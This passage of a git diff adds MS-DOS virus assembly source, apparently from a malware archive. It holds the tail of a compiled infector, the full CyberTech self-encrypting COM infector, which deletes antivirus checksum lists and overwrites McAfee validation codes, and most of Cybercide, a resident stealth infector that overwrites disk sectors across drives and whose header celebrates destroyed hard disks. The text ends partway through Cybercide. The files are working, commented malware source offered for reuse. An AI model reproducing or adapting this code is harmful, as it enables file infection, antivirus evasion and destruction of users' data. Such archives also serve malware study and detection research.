; + ; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]); + ; + xor ax,ax + mov es,ax + mov bx,word ptr es:[1132] + and bx,7 + shl bx,1 + push word ptr DGROUP:d@w+22[bx] + call near ptr _puts + inc sp + inc sp + ; + ; return(1); + ; + mov ax,1 + ; + ; } + ; + pop si + pop bp + ret +_main endp + ?debug C E9 +_TEXT ends +_DATA segment word public 'DATA' +s@ label byte + db '*.EXE' + db 0 + db '*.COM' + db 0 + db 'Out of memory' + db 0 + db 'Bad EXE format' + db 0 + db 'Invalid DOS version' + db 0 + db 'Bad memory block' + db 0 + db 'FCB creation error' + db 0 + db 'Sharing violation' + db 0 + db 'Abnormal program termination' + db 0 + db 'Divide error' + db 0 +_DATA ends +_TEXT segment byte public 'CODE' +_TEXT ends + extrn __creat:near + extrn __open:near + public _infected + extrn _findfirst:near + extrn _findnext:near + public _hostile_activity + extrn _setftime:near + extrn __read:near + public _victim + extrn _puts:near + extrn __argv:word + public _main + extrn _chsize:near + public _screw_virex + extrn _close:near + public _spread + extrn __write:near + extrn __chmod:near + extrn _abswrite:near + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.cybertch.asm b/MSDOS/Virus.MSDOS.Unknown.cybertch.asm new file mode 100644 index 00000000..7446f9ac --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybertch.asm @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1992, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1993, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1992 is past time + Int 21h ; already + Cmp Cx,1993 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1993 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1993 +; + +Msg Db 13,10,'CyberTech Virus - Strain A' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cybrcide.asm b/MSDOS/Virus.MSDOS.Unknown.cybrcide.asm new file mode 100644 index 00000000..26971014 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybrcide.asm @@ -0,0 +1,999 @@ + .model tiny + .code + org 100h + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; ; +; Cybercide 1.00 - The original source-code ; +; Copyright (c) -91 by Cruel Entity / Macaroni Ted ; +; ; +; This one is really old now. Mcaffe virus scanner have detected it for ; +; years. Therefor I've decided to realease it. I hope you'll learn some- ; +; thing from it. You are free to use routines from it and also rebuild ; +; it. Just give me some credits. ; +; ; +; I hope you'll feel the nice feeling you get when you hear that many ; +; hard-disks have been destroyed by you virus. So keep up the good work ; +; and write more virus. ; +; ; +; Of cource I can't take any responsibility for all virus-coders who ; +; use any of the routines in this virus. ; +; ; +; Greetings to; God for creating AT&T's ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! ; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + mov ax,3509h ;get int 9h vect + int 21h + mov [bp+(int_9h_off-sub_this)],bx + mov [bp+(int_9h_seg-sub_this)],es + mov ax,351ch ;get int 1ch vect + int 21h + mov [bp+(int_1ch_off-sub_this)],bx + mov [bp+(int_1ch_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h + mov ax,2509h ;int 9h + lea dx,new_int_9h + int 21h + mov ax,251ch ;int 1ch + lea dx,new_int_1ch + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + +ULTIMATHULE DB 'nam nesut agnm dem nk mo nk ,marf' + db 'kcig xeR sluloraC ruh nes egnl rf ,n in snniM' + ; ^^^^^^^^^ Only a swedish poem written backwards ^^^^^^^^^ +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +imperial_march dw 330,600 + dw 330,600 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,1200 + dw 494,600 + dw 494,600 + dw 494,600 + dw 523,450 + dw 392,150 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,1200 + dw 0 + + db 'YTITNE na ot LEURC eb reven' +darth_return: + push cs + push cs + pop ds + pop es + lea si,imperial_march +darth_again: + lodsw + + cmp ax,0 + je darth_end + + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al +delay: + lodsw + mov cx,ax +m_delay: + push cx + mov cx,2700 + loop $ + pop cx + loop m_delay + + out 61h,al + + jmp darth_again +darth_end: + xor al,al ;sound off + out 61h,al + + mov ax,0b800h ;print ansi + mov es,ax + lea si,darth_pic + mov di,3680 + mov cx,320 + rep movsb + + jmp $ ;hang + db 'ynollef ELIV a si GINKLAWYAJ' +next_hour: + cmp dh,0 + je check_100th + pop dx + pop cx + pop ax + jmp exit +check_100th: + cmp dl,5 + jb random_sector + + pop dx + pop cx + pop ax + jmp exit +random_sector: + pushf + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ;drive #, start with c: + mov cx,1h ;# of sectors to overwrite + lea bx,logo ;address to overwriting data +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + pop bx + popf + + pop dx + pop cx + pop ax + jmp exit + db '... I SHALL FEAR NO EVIL ...' +check_time_int1c: + mov ah,2ch ;get time + int 21h + cmp ch,16 ;>16:?? + jae set_flag_flag + pop dx + pop cx + pop ax + jmp exit +set_flag_flag: + mov cs:flagga,1 + pop dx + pop cx + pop ax + jmp exit + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; New Interrupt 21h Handler +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +new_int_21h: + pushf + + cmp ax,0dd22h ;mem check + je mem_check + + cmp ah,2ch ;time? + je exit + + cmp ah,2ah ;date? + je exit + + cmp ah,9 + je exit + + cmp ah,11h + je find_old + cmp ah,12h + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + cmp ah,3dh ;open file + je open_file + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp ch,00 ;24:?? + jne $+7 + lea dx,darth_return + jmp far ptr dx + + cmp cl,00 ;a new hour? + jne $+7 + lea ax,next_hour + jmp far ptr ax + + mov ah,2ah ;get date + int 21h + + cmp al,6 ;flag time? (SAT) + je check_time_int1c ;check time + + pop dx + pop cx + pop ax +exit: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? + +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret +open_file: + push bp + lea bp,open + jmp far ptr bp +find_: + push bp + lea bp,find_new + jmp far ptr bp +mem_check: + popf + mov ax,3d33h + iret + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Stealth FCB +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,12 + je $+7 ;already infected (sec=24) + lea dx,infect + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags +cancel_inf: + pop ax + pop ax + jmp cancel_ff + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Stealth 4Eh +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + add si,16h + push si ;ONLY for infection + push es + + mov si,bx + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,12 + jne attrib_check ;already infected (sec=24) + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw +cancel_new: + pop ax ;crap... + pop ax + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Infect +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +infect: + add bx,30 + push bx + sub bx,30 + push es + + mov si,bx ;fname + add si,8 + + push cs ;cs=>es + pop es + + lea di,filename + mov cx,8 +cpy_name: + lodsb + cmp al,20h + je name_klar + stosb + loop cpy_name +name_klar: + mov al,'.' + stosb + mov si,bx + add si,16 + mov cx,3 + rep movsb + mov al,0 + stosb +attrib_check: + push cs ;cs=> ds => es + push cs + pop ds + pop es + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + mov attribute,cx ;save it + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jnc $+7 ;not a valid filename + lea dx,cancel_inf + jmp far ptr dx + mov bx,ax ;handle + + mov ah,3fh ;3 first bytes + lea dx,first_bytes + mov cx,3 + int 21h + + mov ax,4202h ;go eof and get size + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 + mov jmp_2,ax + + mov ah,40h ;write virus to eof + mov cx,filelen ;virlen + mov dx,100h + int 21h + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write a jmp + mov cx,3 + lea dx,jmp_1 + int 21h + + pop ds ;=> DTA + pop si + + lodsw + and al,11100000b ;secs=24 + or al,00001100b + mov cx,ax + lodsw ;date + mov dx,ax + + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h ;close file + + mov ax,4301h ;set attrib + push cs ;cs =>ds + pop ds + mov cx,attribute + lea dx,filename + int 21h + + jmp cancel_ff + +cancel_uninf2: + mov ah,3eh + pushf + push cs + call call_int21h ;close file +cancel_uninf: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf + push cs + call call_int21h + retf 2 ;iret flags + +konstig_text db '**CYBERCIDE** -- FLOATING THROUGH THE VOID' + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Open +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +open: + pop bp + popf + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push ds ;ds=> es + pop es + + mov bx,dx ;save dx = bx + mov bp,ax ;save ax = bp + + mov di,dx + mov cx,025h ;MAX + mov dx,cx + mov al,0 + repnz scasb + sub di,4 + mov si,di + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + jne cancel_uninf +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_uninf +ext_is_com2: + mov dx,bx ;restore + mov ax,bp ;restore + + pushf + push cs + call call_int21h ;open file + jc cancel_uninf + mov bx,ax ;handle + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b + cmp cl,12 + je $+7 + lea bp,cancel_uninf2 + jmp far ptr bp + + mov ax,9000h ;temp area + mov ds,ax ;ds + mov es,ax ;es + + mov ah,3fh ;read whole file + mov cx,0ffffh + mov dx,0 + int 21h + + mov si,0 + add si,ax ;add size + sub si,3 ;3 last bytes + + mov di,0 ;copy 3 last bytes to + mov cx,3 ;beg + rep movsb + + push ax + mov ax,4200h ;goto beg + mov cx,0 + mov dx,0 + int 21h + + pop cx + sub cx,cs:filelen + mov ah,40h ;write new file + mov dx,0 + int 21h + + mov ah,40h ;set eof mark + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h ;close file + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf + push cs + call call_int21h ;force open + retf 2 + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; New Interrupt 9h Handler +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +;-9h +new_int_9h: + pushf + push ax + push bx + push ds + + xor ax,ax ;ds=> 0 + mov ds,ax + + mov al,byte ptr ds:[0417h] ;bios, shift status + and al,8 + cmp al,8 ;is alt active? + jne check_anoi ;not pressed + + in al,60h + cmp al,53h ;del? + jne $+7 + lea ax,alt_del + jmp far ptr ax + +check_anoi: + in al,60h ;read key + cmp cs:anoi_flag,0 + je check_a + cmp cs:anoi_flag,1 + je check_n + cmp cs:anoi_flag,2 + je check_o + cmp cs:anoi_flag,3 + je check_i + cmp cs:anoi_flag,4 + je anoi_ +exit_zero: + mov cs:anoi_flag,0 + mov cs:e_3rd,0 +exit_9h: + pop ds + pop bx + pop ax + popf + +real_int_9h: db 0eah ;jmp... +int_9h_off dw ? ;to old int 9h +int_9h_seg dw ? + +anoi_flag db 0 +e_3rd db 0 +anoi_text db ' iS AROUND!',0 + +exit_anoi: + inc cs:e_3rd + cmp cs:e_3rd,10 + je exit_zero + jmp exit_9h + +check_a: + cmp al,1eh ;'a' + jne exit_anoi + mov cs:anoi_flag,1 + jmp exit_9h +check_n: + cmp al,31h ;'n' + jne exit_anoi + mov cs:anoi_flag,2 + jmp exit_9h +check_o: + cmp al,18h ;'o' + jne exit_anoi + mov cs:anoi_flag,3 + jmp exit_9h +check_i: + cmp al,17h ;'i' + jne exit_anoi + mov cs:anoi_flag,4 + jmp exit_9h + +anoi_: + push bp + + mov ah,0eh ;print chr + mov bx,0 + xor bp,bp +print_next: + mov al,cs:[anoi_text+bp] + int 10h + inc bp + cmp al,0 + jne print_next + + pop bp + jmp exit_zero + +alt_del: + mov ax,0b800h + mov es,ax + mov di,0 + mov al,'A' + stosb + mov di,158 + mov al,'N' + stosb + mov di,3998 + mov al,'I' + stosb + mov di,3840 + mov al,'O' + stosb + + jmp exit_9h +darth_pic: + DB '',30,'',30,'',30,'',30,'',30,'',30,' ',7,' ',7 + DB ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15 + DB 'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15 + DB 'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15 + DB 's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15 + DB 'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15 + DB 'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15 + DB 't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15 + DB 'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7 + DB ' ',7,' ',14,'',30,'',30,'',30,'',30,'',30,'',30 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15 + DB 'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15 + DB 'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15 + DB 'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; New Interrupt 1Ch Handler 